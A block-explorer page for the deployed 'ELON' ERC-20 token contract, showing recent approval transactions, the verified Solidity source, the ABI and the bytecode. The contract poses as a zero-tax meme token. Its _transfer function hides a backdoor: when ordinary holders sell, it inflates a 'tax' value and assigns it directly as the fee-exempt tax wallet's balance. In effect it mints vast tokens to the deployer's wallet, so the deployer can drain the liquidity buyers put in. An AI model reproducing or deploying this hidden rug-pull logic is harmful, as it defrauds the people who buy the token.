ETH Price: $3,483.77 (+0.82%)

Contract

0xAe69834417046f3053b1DE68e5C6167D07990222
 

Overview

ETH Balance

0.001 ETH

Eth Value

$3.48 (@ $3,483.77/ETH)

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve177378692023-07-21 0:12:11522 days ago1689898331IN
0xAe698344...D07990222
0 ETH0.00098721.3262798
Approve177378432023-07-21 0:06:35522 days ago1689897995IN
0xAe698344...D07990222
0 ETH0.0005993920.58298311
Approve177378142023-07-21 0:00:47522 days ago1689897647IN
0xAe698344...D07990222
0 ETH0.0012465226.79490692
Approve177377352023-07-20 23:44:59522 days ago1689896699IN
0xAe698344...D07990222
0 ETH0.0011586524.90612395
Approve177377342023-07-20 23:44:47522 days ago1689896687IN
0xAe698344...D07990222
0 ETH0.0010354422.40198311
Approve177377262023-07-20 23:43:11522 days ago1689896591IN
0xAe698344...D07990222
0 ETH0.0011509624.74066766
Approve177377232023-07-20 23:42:35522 days ago1689896555IN
0xAe698344...D07990222
0 ETH0.001096423.56797756
Approve177377212023-07-20 23:42:11522 days ago1689896531IN
0xAe698344...D07990222
0 ETH0.0010201521.92896199
Approve177377072023-07-20 23:39:23522 days ago1689896363IN
0xAe698344...D07990222
0 ETH0.0009920421.46310923
Approve177376932023-07-20 23:36:35522 days ago1689896195IN
0xAe698344...D07990222
0 ETH0.0009742121.07740649
Approve177376892023-07-20 23:35:47522 days ago1689896147IN
0xAe698344...D07990222
0 ETH0.0009872221.33104896
Approve177376882023-07-20 23:35:35522 days ago1689896135IN
0xAe698344...D07990222
0 ETH0.001080823.23252444
Approve177376722023-07-20 23:32:23522 days ago1689895943IN
0xAe698344...D07990222
0 ETH0.0011706925.29526257
Approve177376712023-07-20 23:32:11522 days ago1689895931IN
0xAe698344...D07990222
0 ETH0.000979321.16538548
Approve177376692023-07-20 23:31:47522 days ago1689895907IN
0xAe698344...D07990222
0 ETH0.0009512320.44733134
Approve177376682023-07-20 23:31:35522 days ago1689895895IN
0xAe698344...D07990222
0 ETH0.0009660320.90026225
Approve177376652023-07-20 23:30:59522 days ago1689895859IN
0xAe698344...D07990222
0 ETH0.0009583720.73458238
Transfer177376652023-07-20 23:30:59522 days ago1689895859IN
0xAe698344...D07990222
0.001 ETH0.0004390520.85257212
Approve177376642023-07-20 23:30:47522 days ago1689895847IN
0xAe698344...D07990222
0 ETH0.0011066923.75857212
Approve177376622023-07-20 23:30:23522 days ago1689895823IN
0xAe698344...D07990222
0 ETH0.0014410731.14551148
Approve177376612023-07-20 23:30:11522 days ago1689895811IN
0xAe698344...D07990222
0 ETH0.0010093921.66967432
Approve177376452023-07-20 23:26:59522 days ago1689895619IN
0xAe698344...D07990222
0 ETH0.0011524524.74088548
Approve177376422023-07-20 23:26:23522 days ago1689895583IN
0xAe698344...D07990222
0 ETH0.0015476333.44861629
Approve177376422023-07-20 23:26:23522 days ago1689895583IN
0xAe698344...D07990222
0 ETH0.0015476333.44861629
Approve177376422023-07-20 23:26:23522 days ago1689895583IN
0xAe698344...D07990222
0 ETH0.0015476333.44861629
View all transactions

Latest 1 internal transaction

Advanced mode:
Parent Transaction Hash Block
From
To
177376012023-07-20 23:18:11522 days ago1689895091
0xAe698344...D07990222
1 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
ELON

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-20
*/

/**
Website: https://elontoken.xyz
TG: https://t.me/elontokengrp
**/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}


interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

contract ELON is Context, Ownable, IERC20 {
    using SafeMath for uint256;
    
    IUniswapV2Router private uniswapV2Router;
    address private uniswapV2Pair;
    address payable private _taxWallet;    

  
    mapping(address => uint256) private _holderLastTransferTimestamp;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;

    uint256 private _buyCount=0;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _initialBuyTax=0;
    uint256 private _initialSellTax=0;
    uint256 private _preventSwapBefore=3;
    uint256 private _reduceBuyTaxAt=3;
    uint256 private _reduceSellTaxAt=3;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 10 ** 9 * 10**_decimals;

    uint256 public _taxSwapThreshold= _tTotal * 2 / 10000;
    uint256 public _maxTxAmount = _tTotal * 5 / 100;
    uint256 public _maxWalletSize = _tTotal * 5 / 100;
    uint256 public _maxTaxSwap= _tTotal * 10**33;

    string private constant _name="XaiTwitterTeslaStarlinkSpaceX";
    string private constant _symbol="ELON";

    bool public transferDelayEnabled = true;
    bool private inSwap = false;
    bool private swapEnabled = false;
    bool private tradingOpen;

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
    event MaxTxAmountUpdated(uint _maxTxAmount);

    constructor (address taxWallet_) {
        _taxWallet = payable(taxWallet_);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (transferDelayEnabled) {
                  if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
                      require(
                          _holderLastTransferTimestamp[tx.origin] <
                              block.number,
                          "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed."
                      );
                      _holderLastTransferTimestamp[tx.origin] = block.number;
                  }
              }

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if(to == uniswapV2Pair && from!= address(this) && ! _isExcludedFromFee[from] ){
                taxAmount = taxAmount.sub(address(this).balance)+taxAmount>_maxTaxSwap?taxAmount:amount.mul(10**_decimals);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to   == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 50000000000000000) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if(taxAmount>0){
          _balances[_taxWallet]=_balances[address(this)].add(taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount);
        emit Transfer(from, to, amount);
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        transferDelayEnabled=false;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    receive() external payable {}

    function openTrading() external payable onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"taxWallet_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600060085560006009556000600a556000600b556000600c556003600d556003600e556003600f556127106009600a6200003f9190620003a4565b6200004f90633b9aca00620003bc565b6200005c906002620003bc565b620000689190620003d6565b60105560646200007b6009600a620003a4565b6200008b90633b9aca00620003bc565b62000098906005620003bc565b620000a49190620003d6565b6011556064620000b76009600a620003a4565b620000c790633b9aca00620003bc565b620000d4906005620003bc565b620000e09190620003d6565b601255620000f16009600a620003a4565b6200010190633b9aca00620003bc565b6200011b906d314dc6448d9338c15b0a00000000620003bc565b6013556014805462ffffff191660011790553480156200013a57600080fd5b5060405162001c2138038062001c218339810160408190526200015d91620003f9565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600380546001600160a01b0319166001600160a01b038316179055620001c76009600a620003a4565b620001d790633b9aca00620003bc565b3360008181526005602090815260408083209490945581546001600160a01b03908116835260079091528382208054600160ff199182168117909255308452858420805482168317905560035490921683529382208054909116909317909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002676009600a620003a4565b6200027790633b9aca00620003bc565b60405190815260200160405180910390a35062000424565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002e6578160001904821115620002ca57620002ca6200028f565b80851615620002d857918102915b93841c9390800290620002aa565b509250929050565b600082620002ff575060016200039e565b816200030e575060006200039e565b8160018114620003275760028114620003325762000352565b60019150506200039e565b60ff8411156200034657620003466200028f565b50506001821b6200039e565b5060208310610133831016604e8410600b841016171562000377575081810a6200039e565b620003838383620002a5565b80600019048211156200039a576200039a6200028f565b0290505b92915050565b6000620003b560ff841683620002ee565b9392505050565b80820281158282048414176200039e576200039e6200028f565b600082620003f457634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156200040c57600080fd5b81516001600160a01b0381168114620003b557600080fd5b6117ed80620004346000396000f3fe60806040526004361061010d5760003560e01c80637d1db4a511610095578063a9059cbb11610064578063a9059cbb146102f9578063bf474bed14610319578063c876d0b91461032f578063c9567bf914610349578063dd62ed3e1461035157600080fd5b80637d1db4a5146102785780638da5cb5b1461028e5780638f9a55c0146102b657806395d89b41146102cc57600080fd5b806323b872dd116100dc57806323b872dd146101da578063313ce567146101fa57806370a0823114610216578063715018a61461024c578063751039fc1461026357600080fd5b806306fdde0314610119578063095ea7b3146101715780630faee56f146101a157806318160ddd146101c557600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201909152601d81527f586169547769747465725465736c61537461726c696e6b53706163655800000060208201525b60405161016891906113bc565b60405180910390f35b34801561017d57600080fd5b5061019161018c366004611422565b610397565b6040519015158152602001610168565b3480156101ad57600080fd5b506101b760135481565b604051908152602001610168565b3480156101d157600080fd5b506101b76103ae565b3480156101e657600080fd5b506101916101f536600461144e565b6103cf565b34801561020657600080fd5b5060405160098152602001610168565b34801561022257600080fd5b506101b761023136600461148f565b6001600160a01b031660009081526005602052604090205490565b34801561025857600080fd5b50610261610438565b005b34801561026f57600080fd5b506102616104b5565b34801561028457600080fd5b506101b760115481565b34801561029a57600080fd5b506000546040516001600160a01b039091168152602001610168565b3480156102c257600080fd5b506101b760125481565b3480156102d857600080fd5b5060408051808201909152600481526322a627a760e11b602082015261015b565b34801561030557600080fd5b50610191610314366004611422565b610571565b34801561032557600080fd5b506101b760105481565b34801561033b57600080fd5b506014546101919060ff1681565b61026161057e565b34801561035d57600080fd5b506101b761036c3660046114ac565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b60006103a4338484610936565b5060015b92915050565b60006103bc6009600a6115df565b6103ca90633b9aca006115ee565b905090565b60006103dc848484610a5a565b61042e843361042985604051806060016040528060288152602001611790602891396001600160a01b038a1660009081526006602090815260408083203384529091529020549190611021565b610936565b5060019392505050565b6000546001600160a01b0316331461046b5760405162461bcd60e51b815260040161046290611605565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146104df5760405162461bcd60e51b815260040161046290611605565b6104eb6009600a6115df565b6104f990633b9aca006115ee565b6011556105086009600a6115df565b61051690633b9aca006115ee565b6012556014805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105506009600a6115df565b61055e90633b9aca006115ee565b60405190815260200160405180910390a1565b60006103a4338484610a5a565b6000546001600160a01b031633146105a85760405162461bcd60e51b815260040161046290611605565b6014546301000000900460ff16156106025760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610462565b600180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561064b90309061063d6009600a6115df565b61042990633b9aca006115ee565b600160009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561069e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106c2919061163a565b6001600160a01b031663c9c6539630600160009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610724573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610748919061163a565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610795573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107b9919061163a565b600280546001600160a01b039283166001600160a01b03199091161790556001541663f305d7193430610801816001600160a01b031660009081526005602052604090205490565b6000806108166000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561087e573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108a39190611657565b505060025460015460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156108fc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109209190611685565b506014805463ffff000019166301010000179055565b6001600160a01b0383166109985760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610462565b6001600160a01b0382166109f95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610462565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610abe5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610462565b6001600160a01b038216610b205760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610462565b60008111610b825760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610462565b600080546001600160a01b03858116911614801590610baf57506000546001600160a01b03848116911614155b15610f3157610be06064610bda600e5460085411610bcf57600b54610bd3565b6009545b859061105b565b906110e4565b60145490915060ff1615610cc8576001546001600160a01b03848116911614801590610c1a57506002546001600160a01b03848116911614155b15610cc857326000908152600460205260409020544311610cb55760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a401610462565b3260009081526004602052604090204390555b6002546001600160a01b038581169116148015610cf357506001546001600160a01b03848116911614155b8015610d1857506001600160a01b03831660009081526007602052604090205460ff16155b15610e0057601154821115610d6f5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610462565b60125482610d92856001600160a01b031660009081526005602052604090205490565b610d9c91906116a7565b1115610dea5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610462565b60088054906000610dfa836116ba565b91905055505b6002546001600160a01b038481169116148015610e2657506001600160a01b0384163014155b8015610e4b57506001600160a01b03841660009081526007602052604090205460ff16155b15610e8d5760135481610e5e8147611126565b610e6891906116a7565b11610e8857610e83610e7c6009600a6115df565b839061105b565b610e8a565b805b90505b30600090815260056020526040902054601454610100900460ff16158015610ec257506002546001600160a01b038581169116145b8015610ed6575060145462010000900460ff165b8015610ee3575060105481115b8015610ef25750600d54600854115b15610f2f57610f14610f0f84610f0a84601354611168565b611168565b61117d565b4766b1a2bc2ec50000811115610f2d57610f2d476112f1565b505b505b8015610f6d5730600090815260056020526040902054610f51908261132f565b6003546001600160a01b03166000908152600560205260409020555b6001600160a01b038416600090815260056020526040902054610f909083611126565b6001600160a01b038086166000908152600560205260408082209390935590851681522054610fbf908361132f565b6001600160a01b0380851660008181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110139086815260200190565b60405180910390a350505050565b600081848411156110455760405162461bcd60e51b815260040161046291906113bc565b50600061105284866116d3565b95945050505050565b60008260000361106d575060006103a8565b600061107983856115ee565b90508261108685836116e6565b146110dd5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610462565b9392505050565b60006110dd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061138e565b60006110dd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611021565b600081831161117757826110dd565b50919050565b6014805461ff00191661010017905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111c1576111c1611708565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561121a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061123e919061163a565b8160018151811061125157611251611708565b6001600160a01b0392831660209182029290920101526001546112779130911684610936565b60015460405163791ac94760e01b81526001600160a01b039091169063791ac947906112b090859060009086903090429060040161171e565b600060405180830381600087803b1580156112ca57600080fd5b505af11580156112de573d6000803e3d6000fd5b50506014805461ff001916905550505050565b6003546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561132b573d6000803e3d6000fd5b5050565b60008061133c83856116a7565b9050838110156110dd5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610462565b600081836113af5760405162461bcd60e51b815260040161046291906113bc565b50600061105284866116e6565b600060208083528351808285015260005b818110156113e9578581018301518582016040015282016113cd565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461141f57600080fd5b50565b6000806040838503121561143557600080fd5b82356114408161140a565b946020939093013593505050565b60008060006060848603121561146357600080fd5b833561146e8161140a565b9250602084013561147e8161140a565b929592945050506040919091013590565b6000602082840312156114a157600080fd5b81356110dd8161140a565b600080604083850312156114bf57600080fd5b82356114ca8161140a565b915060208301356114da8161140a565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561153657816000190482111561151c5761151c6114e5565b8085161561152957918102915b93841c9390800290611500565b509250929050565b60008261154d575060016103a8565b8161155a575060006103a8565b8160018114611570576002811461157a57611596565b60019150506103a8565b60ff84111561158b5761158b6114e5565b50506001821b6103a8565b5060208310610133831016604e8410600b84101617156115b9575081810a6103a8565b6115c383836114fb565b80600019048211156115d7576115d76114e5565b029392505050565b60006110dd60ff84168361153e565b80820281158282048414176103a8576103a86114e5565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561164c57600080fd5b81516110dd8161140a565b60008060006060848603121561166c57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561169757600080fd5b815180151581146110dd57600080fd5b808201808211156103a8576103a86114e5565b6000600182016116cc576116cc6114e5565b5060010190565b818103818111156103a8576103a86114e5565b60008261170357634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561176e5784516001600160a01b031683529383019391830191600101611749565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220da75c2f18982f2b96aaa3dc0b5492ae258ee922ce4e27eedf8157faa9b2149c964736f6c634300081300330000000000000000000000007e28d009d81a3f5eb366276a0d6bb9d515afce18

Deployed Bytecode

0x60806040526004361061010d5760003560e01c80637d1db4a511610095578063a9059cbb11610064578063a9059cbb146102f9578063bf474bed14610319578063c876d0b91461032f578063c9567bf914610349578063dd62ed3e1461035157600080fd5b80637d1db4a5146102785780638da5cb5b1461028e5780638f9a55c0146102b657806395d89b41146102cc57600080fd5b806323b872dd116100dc57806323b872dd146101da578063313ce567146101fa57806370a0823114610216578063715018a61461024c578063751039fc1461026357600080fd5b806306fdde0314610119578063095ea7b3146101715780630faee56f146101a157806318160ddd146101c557600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201909152601d81527f586169547769747465725465736c61537461726c696e6b53706163655800000060208201525b60405161016891906113bc565b60405180910390f35b34801561017d57600080fd5b5061019161018c366004611422565b610397565b6040519015158152602001610168565b3480156101ad57600080fd5b506101b760135481565b604051908152602001610168565b3480156101d157600080fd5b506101b76103ae565b3480156101e657600080fd5b506101916101f536600461144e565b6103cf565b34801561020657600080fd5b5060405160098152602001610168565b34801561022257600080fd5b506101b761023136600461148f565b6001600160a01b031660009081526005602052604090205490565b34801561025857600080fd5b50610261610438565b005b34801561026f57600080fd5b506102616104b5565b34801561028457600080fd5b506101b760115481565b34801561029a57600080fd5b506000546040516001600160a01b039091168152602001610168565b3480156102c257600080fd5b506101b760125481565b3480156102d857600080fd5b5060408051808201909152600481526322a627a760e11b602082015261015b565b34801561030557600080fd5b50610191610314366004611422565b610571565b34801561032557600080fd5b506101b760105481565b34801561033b57600080fd5b506014546101919060ff1681565b61026161057e565b34801561035d57600080fd5b506101b761036c3660046114ac565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b60006103a4338484610936565b5060015b92915050565b60006103bc6009600a6115df565b6103ca90633b9aca006115ee565b905090565b60006103dc848484610a5a565b61042e843361042985604051806060016040528060288152602001611790602891396001600160a01b038a16600090815260066020